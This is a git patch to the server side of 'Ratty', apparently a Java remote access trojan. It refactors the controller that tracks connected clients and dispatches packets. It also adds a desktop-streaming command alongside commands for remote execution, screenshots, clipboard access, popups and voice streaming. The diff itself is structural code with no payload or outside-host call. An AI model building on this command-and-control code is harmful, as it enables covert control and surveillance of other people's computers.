From 60a96fc85e763c83def361c222fec1ae97c23e06 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Mon, 15 Feb 2016 20:35:01 +0100 Subject: [PATCH] Small changes Structure changes --- .../rat/server/AbstractRattyController.java | 96 +++++++++++++++++++ .../rat/server/{gui => }/ServerClient.java | 12 ++- .../de/sogomn/rat/server/gui/RattyGui.java | 3 +- .../rat/server/gui/RattyGuiController.java | 87 ++++------------- .../server/gui/ServerClientTableModel.java | 2 + 5 files changed, 124 insertions(+), 76 deletions(-) create mode 100644 Ratty/src/de/sogomn/rat/server/AbstractRattyController.java rename Ratty/src/de/sogomn/rat/server/{gui => }/ServerClient.java (76%) diff --git a/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java b/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java new file mode 100644 index 0000000..99e9bc5 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java @@ -0,0 +1,96 @@ +package de.sogomn.rat.server; + +import java.util.ArrayList; + +import de.sogomn.rat.ActiveConnection; +import de.sogomn.rat.IConnectionObserver; +import de.sogomn.rat.packet.IPacket; +import de.sogomn.rat.packet.InformationPacket; + +public abstract class AbstractRattyController implements IServerObserver, IConnectionObserver { + + private ArrayList clients; + + public AbstractRattyController() { + clients = new ArrayList(); + } + + protected abstract boolean handlePacket(final ServerClient client, final IPacket packet); + + protected void logIn(final ServerClient client, final InformationPacket packet) { + final String name = packet.getName(); + final String os = packet.getOs(); + final String version = packet.getVersion(); + + client.logIn(name, os, version); + } + + @Override + public void packetReceived(final ActiveConnection connection, final IPacket packet) { + final ServerClient client = getClient(connection); + final boolean loggedIn = client.isLoggedIn(); + + if (loggedIn) { + final boolean consumed = handlePacket(client, packet); + + if (!consumed) { + packet.execute(connection); + } + } else if (packet instanceof InformationPacket) { + final InformationPacket information = (InformationPacket)packet; + + logIn(client, information); + } + } + + @Override + public void connected(final ActiveServer server, final ActiveConnection connection) { + final ServerClient client = new ServerClient(connection); + final InformationPacket packet = new InformationPacket(); + + connection.setObserver(this); + connection.start(); + connection.addPacket(packet); + clients.add(client); + } + + @Override + public void disconnected(final ActiveConnection connection) { + final ServerClient client = getClient(connection); + + clients.remove(client); + + client.setStreamingDesktop(false); + client.setStreamingVoice(false); + + connection.setObserver(null); + connection.close(); + } + + @Override + public void closed(final ActiveServer server) { + clients.stream().forEach(client -> { + client.connection.setObserver(null); + client.connection.close(); + }); + + clients.clear(); + } + + public void broadcast(final IPacket packet) { + clients.stream().forEach(client -> { + client.connection.addPacket(packet); + }); + } + + public final ServerClient getClient(final ActiveConnection connection) { + for (final ServerClient serverClient : clients) { + if (serverClient.connection == connection) { + return serverClient; + } + } + + return null; + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/ServerClient.java similarity index 76% rename from Ratty/src/de/sogomn/rat/server/gui/ServerClient.java rename to Ratty/src/de/sogomn/rat/server/ServerClient.java index 9b8f4c0..1d9612c 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java +++ b/Ratty/src/de/sogomn/rat/server/ServerClient.java @@ -1,17 +1,19 @@ -package de.sogomn.rat.server.gui; +package de.sogomn.rat.server; import de.sogomn.rat.ActiveConnection; +import de.sogomn.rat.server.gui.DisplayPanel; +import de.sogomn.rat.server.gui.FileTree; -final class ServerClient { +public final class ServerClient { private boolean loggedIn; private String name, os, version; private boolean streamingDesktop, streamingVoice; - final ActiveConnection connection; - final DisplayPanel displayPanel; - final FileTree fileTree; + public final ActiveConnection connection; + public final DisplayPanel displayPanel; + public final FileTree fileTree; public ServerClient(final ActiveConnection connection) { this.connection = connection; diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index c438a15..53847d8 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -29,6 +29,7 @@ import javax.swing.filechooser.FileNameExtensionFilter; import de.sogomn.engine.fx.SpriteSheet; import de.sogomn.engine.util.AbstractListenerContainer; import de.sogomn.engine.util.ImageUtils; +import de.sogomn.rat.server.ServerClient; public final class RattyGui extends AbstractListenerContainer { @@ -190,7 +191,7 @@ public final class RattyGui extends AbstractListenerContainer { } public String getInput() { - final String input = JOptionPane.showInputDialog(frame); + final String input = JOptionPane.showInputDialog(frame, null); return input; } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 08fb194..be5d327 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -1,31 +1,26 @@ package de.sogomn.rat.server.gui; -import java.util.ArrayList; - import de.sogomn.rat.ActiveConnection; -import de.sogomn.rat.IConnectionObserver; import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.CommandPacket; +import de.sogomn.rat.packet.DesktopPacket; import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.InformationPacket; import de.sogomn.rat.packet.PopupPacket; import de.sogomn.rat.packet.ScreenshotPacket; import de.sogomn.rat.packet.WebsitePacket; +import de.sogomn.rat.server.AbstractRattyController; import de.sogomn.rat.server.ActiveServer; -import de.sogomn.rat.server.IServerObserver; +import de.sogomn.rat.server.ServerClient; -public final class RattyGuiController implements IServerObserver, IConnectionObserver, IGuiController { +public final class RattyGuiController extends AbstractRattyController implements IGuiController { private RattyGui gui; - private ArrayList clients; - public RattyGuiController(final RattyGui gui) { this.gui = gui; - clients = new ArrayList(); - gui.addListener(this); } @@ -71,10 +66,6 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs return null; } - private boolean handlePacket(final ServerClient client, final IPacket packet) { - return false; - } - private void handleCommand(final ServerClient client, final String command) { //... } @@ -94,53 +85,29 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs packet = new ScreenshotPacket(); } else if (command == RattyGui.WEBSITE) { packet = createWebsitePacket(); + } else if (command == RattyGui.DESKTOP) { + packet = new DesktopPacket(true); } return packet; } + @Override + protected boolean handlePacket(final ServerClient client, final IPacket packet) { + return false; + } + /* * ================================================== - * LOGIC + * HANDLING END * ================================================== */ - private void logIn(final ServerClient client, final InformationPacket packet) { - final String name = packet.getName(); - final String os = packet.getOs(); - final String version = packet.getVersion(); - - client.logIn(name, os, version); - gui.addRow(client); - } - - @Override - public void packetReceived(final ActiveConnection connection, final IPacket packet) { - final ServerClient client = getClient(connection); - final boolean loggedIn = client.isLoggedIn(); - - if (loggedIn) { - final boolean consumed = handlePacket(client, packet); - - if (!consumed) { - packet.execute(connection); - } - } else if (packet instanceof InformationPacket) { - final InformationPacket information = (InformationPacket)packet; - - logIn(client, information); - } - } - @Override - public void connected(final ActiveServer server, final ActiveConnection connection) { - final ServerClient client = new ServerClient(connection); - final InformationPacket packet = new InformationPacket(); + protected void logIn(final ServerClient client, final InformationPacket packet) { + super.logIn(client, packet); - connection.setObserver(this); - connection.start(); - connection.addPacket(packet); - clients.add(client); + gui.addRow(client); } @Override @@ -148,25 +115,15 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs final ServerClient client = getClient(connection); gui.removeRow(client); - clients.remove(client); - client.setStreamingDesktop(false); - client.setStreamingVoice(false); - - connection.setObserver(null); - connection.close(); + super.disconnected(connection); } @Override public void closed(final ActiveServer server) { gui.removeAllListeners(); - clients.stream().forEach(client -> { - client.connection.setObserver(null); - client.connection.close(); - }); - - clients.clear(); + super.closed(server); } @Override @@ -181,14 +138,4 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs } } - public ServerClient getClient(final ActiveConnection connection) { - for (final ServerClient serverClient : clients) { - if (serverClient.connection == connection) { - return serverClient; - } - } - - return null; - } - } diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java index fa2b90f..a8398ab 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java @@ -5,6 +5,8 @@ import java.util.function.Function; import javax.swing.table.AbstractTableModel; +import de.sogomn.rat.server.ServerClient; + final class ServerClientTableModel extends AbstractTableModel { private static final long serialVersionUID = 919111102883611810L;